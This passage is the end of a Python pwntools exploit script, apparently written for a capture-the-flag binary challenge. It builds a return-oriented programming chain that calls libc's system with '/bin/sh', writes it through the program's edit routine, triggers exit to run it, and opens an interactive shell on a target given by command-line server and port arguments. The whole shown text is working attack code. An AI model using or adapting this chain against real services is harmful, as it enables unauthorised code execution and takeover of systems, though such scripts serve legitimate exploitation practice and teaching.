payload = p64(libc + pop_rdi_rbp)
payload += p64(libc + next(lib.search(b"/bin/sh")))
payload += b"C" * 8
payload += p64(libc + lib.symbols['system'])
edit(s, 'u', [0, 2, 1], 'e', payload)
# exit
s.sendline(b"0")
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)